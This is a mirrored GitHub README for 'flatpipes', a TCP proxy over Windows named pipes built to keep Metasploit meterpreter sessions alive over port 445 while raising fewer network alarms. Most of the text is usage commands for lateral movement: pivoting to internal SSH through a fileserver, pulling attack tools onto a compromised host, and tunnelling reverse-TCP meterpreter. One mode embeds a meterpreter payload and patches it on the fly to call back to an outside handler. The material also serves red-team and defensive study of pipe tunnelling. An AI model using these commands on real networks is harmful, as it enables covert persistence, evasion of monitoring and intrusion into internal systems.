Git Product home page Git Product logo

flatpipes's Introduction

Logo

flatpipes

A TCP proxy over named pipes. Originally created for maintaining a meterpreter session over 445 for less network alarms.

Since it seems it can help in various situations, let's list a few:

Usage - TCP 10001 Chat over Named Pipe

On the 1st Windows host (pipe server) we create two pipes "pipename_s2c" & "pipename_c2s" and as soon as pipe negotiation is ok, we open a TCP listener at 10001:

flatpipes.exe pserver sserver pipename . 127.0.0.1 10001

On the 2nd Windows host (pipe client) we just connect to the pipe(s) created previously on the system X.X.X.X. As soon as we successfully connect, flatpipes open a listener on 10001 on this client machine too:

flatpipes.exe pclient sserver pipename X.X.X.X 127.0.0.1 10001

Finally, netcat on the two hosts on their listeners and chat with yourself.

Usage - Bring a remote port here

Let's suppose you have access on the MS Fileserver (x.x.x.x) through a Windows "jumphost" workstation. You want to ensure all communications are over 445 since it is normal for workstation to DC. We need to access SSH on another system (y.y.y.y) in the Fileserver's LAN but we can only connect to MS Fileserver 445

On the MS Fileserver (x.x.x.x) we create our pipes for "IPC", and as soon as pipe negotiation is ok, it will TCP connect to the SSH server (y.y.y.y) in the LAN. All IO is through the flatpipes:

flatpipes.exe pserver sclient pipename . y.y.y.y 22

On the jumphost we PIPE connect to the MS fileserver (x.x.x.x), and immediately spawn a TCP listener on localhost 22:

flatpipes.exe pclient sserver pipename x.x.x.x 127.0.0.1 22

Just ssh on 127.0.0.1 22 from the jumphost and you are through the town portal

Usage - Send a local port there

The reverse of the above example, useful to download additional tools through eg sftp

On the Server (x.x.x.x) we create our pipes for "IPC", and as soon as pipe negotiation is ok, it spawn a TCP listener on localhost 22:

flatpipes.exe pserver sserver pipename . 127.0.0.1 22

On the jumphost we PIPE connect to the Server (x.x.x.x), and as soon as pipe negotiation is ok, it will TCP connect to our sFTP file repo (y.y.y.y). All IO is through the flatpipes:

flatpipes.exe pclient sclient pipename x.x.x.x y.y.y.y 22

SSH on 127.0.0.1 22 from the Server

Usage - Reverse TCP meterpreter through pipes (own payload)

On the MS Fileserver (x.x.x.x) again and you want to maintain persistence, but over 445. You want reverse TCP meterpreter but also you want the jumphost to initiate the 445 connection.

On the MS Fileserver (x.x.x.x), we create two pipes and listen on 127.0.0.1 54321 for the reverse TCP meterpreter:

flatpipes.exe pserver sserver pipename . 127.0.0.1 54321

On the jumphost we connect to the MS Fileserver (x.x.x.x) and immediately connect to the meterpreter handler:

flatpipes.exe pclient sclient pipename x.x.x.x y.y.y.y 54321

What this means is that we can exchange directions, eg use a reverse exploitation, but make the opposite network traffic. It is like an encapsulation over DNS, just needs some familiarization.

Usage - Reverse TCP meterpreter through pipes (embedded payload)

Same as above but the reverse meter payload is embedded in the flatpipes

On the MS Fileserver (x.x.x.x), we create two pipes and listen on 127.0.0.1 54321 for the reverse TCP meterpreter. Note the "revmeter" keyword:

flatpipes.exe pserver sserver pipename . 127.0.0.1 54321 revmeter

On the jumphost we connect to the MS Fileserver (x.x.x.x) and immediately connect to the meterpreter handler at y.y.y.y:

flatpipes.exe pclient sclient pipename x.x.x.x y.y.y.y 54321

Important note: If you meterpreter listener in waiting on eg 12345 just use the following:

flatpipes.exe pserver sserver pipename . 127.0.0.1 54321 revmeter
flatpipes.exe pclient sclient pipename x.x.x.x y.y.y.y 12345

The first command with "monkey-patch" the meterpreter bytecode on-the-fly to make it locally connect to 54321. At the jumphost, the 12345 can be used without any interruption. It is like NAT'ting a port on a firewall


TODO

  • Supports one connection, think of ways to do multiple connection handling
  • Custom payload option (undecided on the transfer format b64?)
  • Exception handling. Asap when pipe auth does not work

I hope it will help. Comments are welcome / looking for feedback.

PS: I don't know exactly (or have time to read) the details of CreateNamedPipe access controls. So I assume from MSDN that by using NULL security descriptor we allow RW access to Admins/System/Creator and R to everyone/anon. On the workstation that acts as a pipe client I test using eg runas /user:server\tester /netonly "flatpipes.exe pclient sserver pipename X.X.X.X 127.0.0.1 10001". What happens with /netonly is that you force an ntlm2 challenge response for all the pipe access requirements of the calls issued by flatpipes.

flatpipes's People

Contributors

dxflatline avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.